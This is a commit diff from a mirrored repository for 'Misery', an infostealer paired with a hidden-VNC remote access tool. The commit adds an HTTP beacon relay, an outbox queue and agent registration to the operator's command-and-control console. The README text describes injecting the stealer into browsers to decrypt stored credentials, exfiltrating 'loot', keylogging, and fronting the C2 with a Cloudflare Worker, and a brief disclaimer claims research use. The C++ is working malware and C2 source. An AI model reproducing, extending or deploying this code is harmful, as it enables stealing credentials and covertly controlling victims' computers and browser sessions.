mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
Console beacon transport: HTTP relay front-end, outbox queue, REGISTER on beacon poll
This commit is contained in:
@@ -12,7 +12,7 @@ For local testing and research only. The source stealer is Misery; the HVNC foll
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This repository is provided strictly for educational and research purposes and for testing on local endpoints only. Use it only in controlled, isolated labs on systems you own or have explicit written permission to test. Do not deploy or use this code for unauthorised or malicious activity; the authors disclaim any responsibility for misuse.
|
||||
For educational and research use only. Test it on systems you own or have written permission to test, in an isolated lab. Do not use it for unauthorised activity. The authors take no responsibility for misuse.
|
||||
|
||||
## Operator view
|
||||
|
||||
@@ -40,7 +40,7 @@ Two ways to run a hidden browser session. Both launch a real Chrome or Edge with
|
||||
| Writes back to the victim's profile? | No | Yes: history, cookies, sign-outs persist |
|
||||
| Use when | You just need an authenticated browser session | You need the whole hidden desktop or a non-browser app |
|
||||
|
||||
The stealer normally runs inside the browser through reflective injection, so the app-bound decryption passes its process check. When no injectable browser is present, the agent falls back to an offline DPAPI run in the agent process. Either way, the core work happens over one encrypted channel: the agent streams frames and results, the console forwards input, and writes exfil results to disk.
|
||||
The stealer normally runs inside the browser through reflective injection, so the app-bound decryption passes its process check. When no injectable browser is present, the agent falls back to an offline DPAPI run in the agent process. Either way, the core work happens over one encrypted channel. The agent streams frames and results, the console forwards input, and the console writes exfil results to disk.
|
||||
|
||||
## Quick start
|
||||
|
||||
@@ -93,7 +93,7 @@ To deploy:
|
||||
3. Lock the tunnel with a Cloudflare Access service-auth token and put its credentials in the Worker
|
||||
4. Point `HVNC_BEACON_URL` at the Worker URL
|
||||
|
||||
The beacon client and the console's HTTP relay are in. The console front-end that speaks the beacon protocol directly is still in progress.
|
||||
The beacon client and the console's HTTP relay both exist. With `HVNC_TRANSPORT 1` the console runs the relay listener on the C2 port and the same REPL commands work over it.
|
||||
|
||||
## Build
|
||||
|
||||
|
||||
@@ -283,6 +283,15 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
|
||||
return true;
|
||||
};
|
||||
|
||||
// Register on the first poll so the console logs the agent identity.
|
||||
{
|
||||
Message reg;
|
||||
reg.type = MsgType::REGISTER;
|
||||
std::string info = get_hostname() + "|" + get_user_name() + "|" + s.bot_id;
|
||||
reg.body.assign(info.begin(), info.end());
|
||||
send(reg);
|
||||
}
|
||||
|
||||
while (true) {
|
||||
// Aggregate pending output first so a single poll ships it all.
|
||||
pump_outputs(s, send);
|
||||
|
||||
+70
-3
@@ -18,6 +18,8 @@
|
||||
#include "compress.hpp"
|
||||
#include "crypto_win.hpp"
|
||||
#include "payload.hpp"
|
||||
#include "beacon.hpp"
|
||||
#include "http_server.hpp"
|
||||
#include "../config.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
@@ -196,6 +198,13 @@ static std::vector<uint8_t> g_key;
|
||||
static SOCKET g_sock = INVALID_SOCKET;
|
||||
static bool g_keylog_on = false;
|
||||
|
||||
#if HVNC_TRANSPORT == 1
|
||||
// Beacon mode has no persistent connection: console->agent messages queue in
|
||||
// an outbox that the HTTP relay drains on the next agent poll.
|
||||
static std::vector<std::vector<uint8_t>> g_outbox;
|
||||
static CRITICAL_SECTION g_outbox_lock;
|
||||
#endif
|
||||
|
||||
static const UINT WM_VIEW_SCREEN = WM_APP + 1;
|
||||
static HWND g_view = nullptr;
|
||||
|
||||
@@ -208,18 +217,30 @@ static FrameState g_frame;
|
||||
static CRITICAL_SECTION g_frame_lock;
|
||||
|
||||
static void send_msg(MsgType t, const std::vector<uint8_t>& body) {
|
||||
Message m;
|
||||
m.type = t;
|
||||
m.body = body;
|
||||
#if HVNC_TRANSPORT == 1
|
||||
// The beacon codec adds its own length prefix per frame, so strip the
|
||||
// transport's and queue the ciphertext for the next poll.
|
||||
auto frame = frame_encode(g_key, m);
|
||||
if (frame.size() >= 4) {
|
||||
std::vector<uint8_t> cipher(frame.begin() + 4, frame.end());
|
||||
EnterCriticalSection(&g_outbox_lock);
|
||||
g_outbox.emplace_back(std::move(cipher));
|
||||
LeaveCriticalSection(&g_outbox_lock);
|
||||
}
|
||||
#else
|
||||
if (g_sock == INVALID_SOCKET) {
|
||||
log_err(L"no agent connected");
|
||||
return;
|
||||
}
|
||||
Message m;
|
||||
m.type = t;
|
||||
m.body = body;
|
||||
auto frame = frame_encode(g_key, m);
|
||||
if (frame.empty() || !send_full(g_sock, frame.data(), frame.size())) {
|
||||
log_err(L"send failed");
|
||||
g_sock = INVALID_SOCKET;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -411,6 +432,35 @@ static DWORD WINAPI accept_thread(LPVOID param) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if HVNC_TRANSPORT == 1
|
||||
// One agent poll: decrypt + dispatch every inbound frame, then return anything
|
||||
// slated to reach that agent.
|
||||
static std::vector<std::vector<uint8_t>> beacon_handler(
|
||||
const std::vector<std::vector<uint8_t>>& inbound) {
|
||||
for (const auto& enc : inbound) {
|
||||
std::vector<uint8_t> body;
|
||||
if (!aes_gcm_decrypt(g_key, enc, body) || body.size() < 4) continue;
|
||||
uint32_t t = 0;
|
||||
memcpy(&t, body.data(), 4);
|
||||
Message m;
|
||||
m.type = (MsgType)t;
|
||||
m.body.assign(body.begin() + 4, body.end());
|
||||
handle_message(m);
|
||||
}
|
||||
EnterCriticalSection(&g_outbox_lock);
|
||||
std::vector<std::vector<uint8_t>> outbound = std::move(g_outbox);
|
||||
LeaveCriticalSection(&g_outbox_lock);
|
||||
return outbound;
|
||||
}
|
||||
|
||||
static DWORD WINAPI http_relay_thread(LPVOID) {
|
||||
bool ok = httpsrv::serve((uint16_t)HVNC_C2_PORT,
|
||||
beacon_handler);
|
||||
if (!ok) log_err(L"http relay bind failed");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Hidden-desktop view window (own thread, forwards session input)
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -562,9 +612,15 @@ static void print_banner() {
|
||||
write_wide((art + L"\n").c_str());
|
||||
|
||||
wchar_t band[256];
|
||||
#if HVNC_TRANSPORT == 1
|
||||
swprintf(band, 256, L" =[ Misery + HVNC - operator console ]=\n"
|
||||
L"+ ---=[ beacon relay :%d | aes-256-gcm ]---=\n",
|
||||
HVNC_C2_PORT);
|
||||
#else
|
||||
swprintf(band, 256, L" =[ Misery + HVNC - operator console ]=\n"
|
||||
L"+ ---=[ tcp listener :%d | aes-256-gcm ]---=\n",
|
||||
HVNC_C2_PORT);
|
||||
#endif
|
||||
write_wide(band);
|
||||
write_wide(L"+ ---=[ type 'help' for commands | loot json in cwd ]---=\n\n");
|
||||
}
|
||||
@@ -662,6 +718,12 @@ int main() {
|
||||
|
||||
g_key = key::derive();
|
||||
|
||||
#if HVNC_TRANSPORT == 1
|
||||
InitializeCriticalSection(&g_outbox_lock);
|
||||
print_banner();
|
||||
CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
|
||||
CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr);
|
||||
#else
|
||||
SOCKET server = socket(AF_INET, SOCK_STREAM, 0);
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
@@ -676,13 +738,18 @@ int main() {
|
||||
print_banner();
|
||||
CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
|
||||
CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr);
|
||||
#endif
|
||||
|
||||
while (true) {
|
||||
if (g_stdin_eof) break;
|
||||
if (!handle_cmd(get_line())) break;
|
||||
}
|
||||
|
||||
#if HVNC_TRANSPORT == 1
|
||||
httpsrv::stop();
|
||||
#else
|
||||
closesocket(server);
|
||||
#endif
|
||||
if (g_view) PostMessageW(g_view, WM_CLOSE, 0, 0);
|
||||
WSACleanup();
|
||||
return 0;
|
||||
|
||||
Reference in New Issue
Block a user